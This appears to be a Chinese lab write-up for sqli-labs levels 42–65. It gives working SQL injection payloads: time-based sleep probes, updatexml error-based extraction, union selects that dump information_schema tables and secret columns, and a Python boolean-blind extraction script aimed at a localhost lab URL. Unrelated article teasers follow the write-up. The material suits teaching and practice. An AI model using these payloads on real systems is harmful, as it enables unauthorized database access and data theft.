sql-labs:42~65
less42(单引号闭合、报错回显)
login_user=admin login_password=123' and if(1=1,sleep(2),1) # # 单引号闭合 login_user=admin login_password=123'and updatexml(1,concat(0x7e,database(),0x7e),1)# # 报错回显用户名有过滤, tips: 这里还是强调一下,时间注入测试注入点,sql语句必须有查询结果才能sleep,而且and连接的条件必须都成立才能sleep,两者缺一不可 所以输入的用户名和密码必须都正确,也就是有一个用户凭据才能有sql语句查询结果,才能sleep
less43(单引号括号闭合、报错回显)
跟less42一样 login_password=1') and updatexml(1,concat(0x7e,user(),0x7e),1)--+
less44(单引号闭合、半回显)
login_user=admin login_password=123456' and if(1=1,sleep(2),1) # 布尔注入: login_user=admin login_password=123456' and substr(DATABASE(),1,1)='s' # 如果回显结果有slap1.jpg说明爆出来了一个字符
less45(单引号括号闭合、半回显)
跟less44一样
布尔注入语法:
login_user=admin
login_password=123456') and substr(database(),1,1)='s' and ('1')=('1
这里可以使用状态码进行半回显判断,也可以不使用slap1.jpg回显判断
如果爆出来一个字符,则返回302,如果不是则返回200
less46(order by注入手法、报错回显)
sql语法规定:order by后不能接 union select Incorrect usage of UNION and ORDER BY 使用时间或报错 sort=1 and if(1=1,sleep(0.05),1) --+ 不知道为什么这里的sleep时间突然变得好长,之前sleep相同的数值,很快就sleep完了 sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+ sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less47
(46~53都是这个order by、无非就是闭合方式不一样和有报错回显的问题,有报错回显报错注入,没有就布尔盲注时间盲注,换汤不换药)
(这里没有测试布尔盲注,直接用的时间盲注)
(但是布尔盲注优先级是比时间盲注要高的,作者只测试了时间盲注是为了减小工作量,因为基本上有了sql注入,时间盲注可行性最大)
(布尔盲注搞不定了,再时间盲注)
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 发现单引号闭合: sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less48
sort=1 and if(1=1,sleep(0.05),1) # 无闭合 sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 无报错回显 sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+ # 时间盲注
less49
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 无报错回显 sort=1' and if(substr(database(),1,1)='s',sleep(0.05),1) --+ # 时间盲注
less50
sort=1 and if(1=1,sleep(0.05),1) # 无闭合 sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less51
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less52
sort=1 and if(1=1,sleep(0.05),1) # 无闭合 sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 无报错回显 sort=1 and if(substr(database(),1,1)='s',sleep(1),1) --+ # 时间盲注
less53
sort=1' and if(1=1,sleep(0.05),1) and '1'='1 # 单引号闭合 sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) # 无报错回显 sort=1' and if(substr(database(),1,1)='s',sleep(1),1) # 时间盲注
less54(54到65都是这个挑战)
id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合
id=0' union select 1,database(),3 --+ # 全回显
id=0' union select 1,str_foo,3 --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0)
tips:
当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句:
id=1' and if(1=1,sleep(1),1) and '1'='1
测试成功了,先不要急,因为它还有可能是
('')闭合
((''))闭合
((('')))闭合
...
可以加无数个括号,双引号""和括号()闭合也有这个问题
less55
id=1 and if(1=1,sleep(1),1) 此情况也可能是(),如下例子
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
id=1" and if(1=1,sleep(1),1) and "1"="1 此情况也有可能是(""),如下例子
SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1
SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1 ") LIMIT 0,1
id=1' and if(1=1,sleep(1),1) and '1'='1 此情况也有可能是(''),如下例子
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1 ') LIMIT 0,1
和less54一样
id=1) and if(1=1,sleep(1),1) and (1)=(1 # 括号闭合
id=0) union select 1,str_foo,3 --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
less56
和less54、55一样
发现('')闭合,且有回显
id=0') union select 1,database(),3 --+
id=0') uNIon sELect 1,database(),3 --+
less57
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
和less54、55、56一样
发现""闭合,且有回显
id=0" union select 1,database(),3 --+
less58(less58~less61都是报错注入,就是闭合方式的不同)
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
less59
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现无闭合
id=1 and if(1=1,sleep(1),1) --+
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
less60
跟58、59一样
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现("")闭合
id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less61
跟58、59、60一样
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现((''))闭合
id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
less62(less62~less65都是时间注入或布尔注入)
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现('')闭合,且无回显
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
布尔注入:
id=1') and 1=1 --+
id=1') and 1=2 --+
发现正确的数据包显示,如下字符串
Your Login name : Angelina
Your Password : dhakkan
而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断
id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1
id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecterdict_para_data = {'id' : 'hack123'}vuln_para = 'id'http_type = 1url = "http://127.0.0.1/sqli-labs/Less-62/"expected_data = "Password"payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"str_foo1 = "length(database())"str_foo2 = "database()"# 爆库名# db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)# db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, db_len)# 爆表名str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, tb_len+1)# 爆字段str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, colu_len+1)
# 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量index = colu_result.find('secret_')code = colu_result[index + len('secret_'):index + len('secret_')+4]
str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"str_foo2 = "(select secret_" + code + " from "+ tb_result +")"colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, colu_len+1)

less63
跟62一样 发现''闭合,且无回显 只修改62脚本中的url和payload就可以
less64
跟63、62一样 发现(())闭合,且无回显 只修改62脚本中的url和payload就可以
less65
跟63、62一样
发现("")闭合,且无回显
只修改62脚本中的url和payload就可以
相关文章:
sql-labs:42~65
less42(单引号闭合、报错回显) login_useradmin login_password123 and if(11,sleep(2),1) # # 单引号闭合 login_useradmin login_password123and updatexml(1,concat(0x7e,database(),0x7e),1)# # 报错回显…...
KaTeX.js渲染数学公式
什么是KaTeX.js ? KaTeX 是一个集成速度快且功能丰富的数学公式渲染库,专为 Web 设计。它由 Khan Academy 开发,提供接近印刷品质的数学公式展示,同时保持与浏览器的高效互动性。KaTeX 特点包括快速渲染速度、高质量的输出、独立运行、跨平…...
算法训练营打卡Day19
目录 1.二叉搜索树的最近公共祖先 2.二叉树中的插入操作 3.删除二叉搜索树中的节点 题目1、二叉搜索树的最近公共祖先 力扣题目链接(opens new window) 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有…...
H.264编解码工具 - FFmpeg
一、简介 FFmpeg是一款用于处理多媒体数据的开源软件,可以完成音频、视频和多媒体流的编解码、转码、解码、录制、流媒体播放等功能。它提供了丰富的命令行工具和库函数,适用于各种平台和操作系统。 FFmpeg支持多种常见的音视频格式,包括MP3、WAV、FLAC、MP4、AVI、MKV等。它…...
60 序列到序列学习(seq2seq)_by《李沐:动手学深度学习v2》pytorch版
系列文章目录 文章目录 系列文章目录一、理论知识比喻机器翻译Seq2seq编码器-解码器细节训练衡量生成序列的好坏的BLEU(值越大越好)总结 二、代码编码器解码器损失函数训练预测预测序列的评估小结练习 一、理论知识 比喻 seq2seq就像RNN的转录工作一样,非常形象的比…...
elementPlus的tree组件点击后有白色背景
在使用elementPlus的tree组件时,需要对它进行样式的重写,下面是相关代码 <script setup> import { ref } from vue const data [{label: Level one 1,children: [{label: Level two 1-1,children: [{label: Level three 1-1-1}]}]},{label: Leve…...
【Git】Git在Unity中使用时的问题记录
个人向笔记。 (为什么没截图,因为公司电脑没法截图!) 1 前言 主要记录在使用Git协同开发时的各种问题,方便以后查阅。 2 记录 2.1 合并冲突 git pull下来后直接给合并了,麻了。若不想直接合并应该先把分…...
python学习记录6
(1)循环嵌套 可以将一个循环语句所属的语句块也可以是一个完整的一个循环语句,一般嵌套不应该超过3层。 嵌套可以是while-while、for-for,也可以是while-for。 基本图形输出:正方形,直角三角形 #输入一个数字n&…...
MongoDB 的基本使用
目录 数据库的创建和删除 创建数据库 查看数据库 删除数据库 集合的创建和删除 显示创建 查看 删除集合 隐式创建 文档的插入和查询 单个文档的插入 insertOne insertMany 查询 嵌入式文档 查询数组 查询数组元素 为数组元素指定多个条件 通过对数组元素使…...
数据揭秘:分类与预测技术在商业洞察中的应用与实践
分类与预测:数据挖掘中的关键任务 在数据挖掘的广阔天地中,分类与预测就像是一对互补的探险家,它们携手深入数据的丛 林,揭示隐藏的宝藏。 一、分类:数据的归类大师 分类是一种将数据点按照特定的属性或特征划分到不…...
学MybatisPlus
1.设置MySql的数据库 spring:datasource:url: jdbc:mysql://127.0.0.1:3306/mp?useUnicodetrue&characterEncodingUTF-8&autoReconnecttrue&serverTimezoneAsia/Shanghaidriver-class-name: com.mysql.cj.jdbc.Driverusername: rootpassword: MySQL123 logging:l…...
如何使用工具删除 iPhone 上的图片背景
在 iPhone 上删除背景图像变得简单易行。感谢最近 iOS 更新中引入的新功能。如今,iOS 用户现在可以毫不费力地删除背景,而无需复杂的应用程序。在这篇文章中,您将学习如何使用各种方法去除 iPhone 上的背景。这可确保您可以选择最适合您偏好的…...
软件工程-数据流图
数据流图(Data Flow Diagram,DFD)是一种图形化技术,它描绘信息流和数据从输入移动到输出的过程中所经受的变换。 数据流图的设计原则 数据守恒原则,对于任何一个加工来说,其所有输出数据流中的数据必须能从该加工的输入数据流中…...
链式前向星(最通俗易懂的讲解)
链式前向新:用于存储图的 边集 数组 前言 当我们存储图的时候,往往会使用 邻接矩阵 或是 邻接表。 邻接矩阵 好写,但太浪费空间,节点一多就存不下; 邻接表 效率高,但涉及指 ,不好写容易出错…...
【C++设计模式】(四)创建型模式:简单工厂模式,工厂方法模式,抽象工厂模式
文章目录 (四)创建型模式:简单工厂模式,工厂方法模式,抽象工厂模式简单工厂模式工厂方法模式抽象工厂模式 (四)创建型模式:简单工厂模式,工厂方法模式,抽象工…...
浅析Golang的Context
文章目录 1. 简介2. 常见用法2.1 控制goroutine的生命周期(cancel)2.2 传递超时(Timeout)信息2.3 传递截止时间(Deadline)2.4 传递请求范围内的全局数据 (value) 3 特点3.1 上下文的…...
生日礼物C++代码
#include<bits/stdc.h> using namespace std; string s; int a,b; int main(){cout<<" 生日之地"<<\n;cout<<" 1.开始游戏"<<" 2.不想开始"<<\n;cin>>a;if(a1||a2){if(a2)cout<<…...
使用python基于DeepLabv3实现对图片进行语义分割
DeepLabv3 介绍 DeepLabv3 是一种先进的语义分割模型,由 Google Research 团队提出。它在 DeepLab 系列模型的基础上进行了改进,旨在提高图像中像素级分类的准确性。以下是 DeepLabv3 的详细介绍: 概述DeepLabv3 是 DeepLab 系列中的第三代…...
【漏洞复现】泛微OA E-Office do_excel.php 任意文件写入漏洞
》》》产品描述《《《 泛微0-0fice是一款标准化的协同 OA办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。 》》…...
算法(食物链)
240. 食物链 题目 动物王国中有三类动物 A,B,C𝐴,𝐵,𝐶,这三类动物的食物链构成了有趣的环形。 A𝐴 吃 B𝐵,B𝐵 吃 C𝐶,C𝐶 吃 A𝐴。…...
接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0:开发环境同步测试 cookie 至 localhost,便于本地请求服务携带 cookie 参考地址:https://juejin.cn/post/7139354571712757767 里面有源码下载下来,加在到扩展即可使用FeHelp…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来
一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...
【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...
